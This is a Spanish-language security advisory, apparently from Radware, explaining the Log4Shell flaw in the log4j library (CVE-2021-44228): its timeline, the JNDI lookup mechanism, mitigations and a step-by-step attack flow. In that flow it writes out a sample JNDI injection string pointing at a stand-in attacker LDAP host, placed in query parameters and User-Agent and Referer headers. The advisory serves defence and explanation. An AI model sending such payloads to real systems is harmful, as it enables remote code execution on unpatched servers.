El 9 de diciembre, la Fundación Apache lanzó log4j versión 2.15.0 como una actualización de emergencia para una vulnerabilidad crítica en la biblioteca log4j2. La vulnerabilidad podría permitir que un atacante remoto ejecute código arbitrario en un sistema con software utilizando la biblioteca de Java log4j2 para registrar información y mensajes.
Muchos software y servicios en línea basados en Java aprovechan la utilidad de registro de código abierto log4j; los expertos estiman que la vulnerabilidad afecta a millones de aplicaciones. Es importante tener en cuenta que no todo el software que utiliza Java es vulnerable. Además, no todo el software que usa log4j es vulnerable, solo el software que habilita y aprovecha la sustitución de búsqueda de mensajes de log4j. Desde log4j 2.15.0, la sustitución de búsqueda de mensajes está deshabilitada de forma predeterminada.
La vulnerabilidad se informó inicialmente a través de los sitios de juegos de Minecraft. Los sitios advirtieron que los actores de amenazas podrían ejecutar código malicioso en servidores y clientes que ejecutan la versión Java de Minecraft manipulando los mensajes de registro a través de mensajes de chat bien elaborados. La comunidad de seguridad rápidamente se dio cuenta de que la causa raíz era más profunda y tenía un impacto mucho más amplio que solo Minecraft. El 9 de diciembre, la vulnerabilidad comenzó a identificarse como CVE-2021-44228 y se acuñó como Log4Shell.
Más tarde, el 9 de diciembre, la empresa de seguridad Cyber Kendra informó que un día cero de Log4j RCE se eliminó en Internet . Si bien la vulnerabilidad log4j fue un nuevo descubrimiento, la explotación de la deserialización de Java y la inyección de Java Naming and Directory Interface (JNDI) mediante exploits de clasificación no lo fue. Dada una buena cantidad de documentación y herramientas para realizar ataques de inyección JNDI que persisten en Internet, no pasó mucho tiempo antes de que se detectaran actividades de exploración y explotación en estado salvaje.
Las soluciones de seguridad de aplicaciones web de Radware (AppWall y Cloud WAF Service) detectan y bloquean la actividad de Log4Shell desde el primer día como falsificaciones de solicitudes del lado del servidor. Entre el 9 de diciembre a las 6 p.m. UTC y el 12 de diciembre a las 12 p.m. UTC, se detectaron varios miles de intentos.
Figura 1: Exploits bloqueados de WAF en la nube (por hora)
API JNDI
La vulnerabilidad Log4Shell es un exploit de inyección JNDI. La API JNDI proporciona descubrimiento y búsqueda de recursos por nombre y devuelve el resultado en forma de objetos Java serializados. JNDI proporciona una interfaz de proveedor de servicios (SPI) para la implementación flexible de los protocolos de servicio de directorio y nombres de backend. Para seleccionar el proveedor de servicios, JNDI sigue un formato URI que permite especificar el proveedor y el nombre durante la solicitud.
Figura 2: API JNDI e interfaz de proveedor de servicios (SPI) [fuente: Oracle ]
Cuando la sustitución de búsqueda de mensajes está habilitada, un atacante que puede controlar los mensajes de registro o los parámetros de los mensajes de registro puede indicarle a Log4j que realice una búsqueda JNDI. Las implementaciones de servicios LDAP y RMI JNDI devuelven un objeto Java serializado que puede provocar un ataque de deserialización de Java. También hay un mecanismo de referencia JNDI que permite la construcción indirecta de objetos Java a través de fábricas como Apache XBean BeanFactory.
Los ataques de inyección de JNDI no son nada nuevo y, aunque RMI tenía el soporte para bases de código remotas deshabilitado desde Java 8u121 al establecer de forma predeterminada com.sun.jndi.rmi.object.trustURLCodebase en falso. La base de código remota LDAP todavía estaba permitida hasta las versiones 6u211, 7u201, 8u191 y 11.0.1 de JDK. En estas versiones más recientes, com.sun.jndi.ldap.object.trustURLCodebase se establece en falso de forma predeterminada para evitar que JNDI cargue código remoto a través de LDAP. Las búsquedas JNDI también se pueden deshabilitar en log4j releases 2.1.0 y posteriores estableciendo la propiedad del sistema log4j2.formatMsgNoLookups en true.
Explotación de Log4Shell
La explotación de la ejecución de comandos remotos (RCE) no es tan sencilla en comparación con muchos RCE conocidos que permiten que el código de shell se inyecte directamente en las solicitudes HTTP. Un atacante deberá activar log4j para consultar un servicio remoto, que a su vez deberá devolver la ubicación de un objeto Java malicioso que resultará en la ejecución del comando tras la deserialización.
Imagine una aplicación web que usa log4j para registrar las solicitudes enviadas y los campos de encabezado. Un atacante podría aprovechar la aplicación web y la vulnerabilidad log4j para realizar un ataque de inyección JNDI. En el paso (1) de la Figura 3, un atacante falsifica una solicitud HTTP GET con JNDI LDAP codificado ‘$ {jndi: ldap: //attacker.org: 389 / exploit}’ como parámetro de consulta ‘q’, como ‘usuario- agent ‘y como campos de encabezado HTTP’ referer ‘. Los candidatos más evidentes para iniciar sesión en aplicaciones web son los parámetros codificados en URL, los campos de encabezado HTTP y los campos de formulario. Los campos de formulario dependen de la aplicación y de la página, lo que significa que la actividad de exploración y explotación aleatoria se basará principalmente en parámetros HTTP genéricos y campos de encabezado registrados con frecuencia, como ‘Usuario-Agente’ y ‘Referente’.
En (2), el servidor web pasa los parámetros y las variables de encabezado a la aplicación. En (3), la aplicación usa, por ejemplo, la llamada log4j info () para registrar, por ejemplo, el campo de encabezado de User-Agent. Log4j recibe el mensaje y evalúa la expresión JNDI ‘jndi: ldap: //attacker.org: 389 / exploit’ dando como resultado una consulta LDAP para ‘dn = exploit’ al servidor ‘attacker.org’ en el paso (4).
Figura 3: Ataque de ejecución de comando remoto que aprovecha la vulnerabilidad de Log4Shell [fuente: Radware ]
El servidor LDAP, propiedad del atacante, en el host ‘attacker.org’, recibirá la solicitud y en el paso (5) responderá con la ubicación del objeto que contiene el resultado de la búsqueda. En (6) log4j solicita el objeto remoto del servicio web en attacker.org, que responde en el paso (7) con una carga útil de objeto Java serializado. La carga útil aprovecha una vulnerabilidad de deserialización de objetos Java que en el paso (9) dará como resultado la ejecución del comando remoto en el contexto del usuario de la aplicación web.
Fuente: Radware
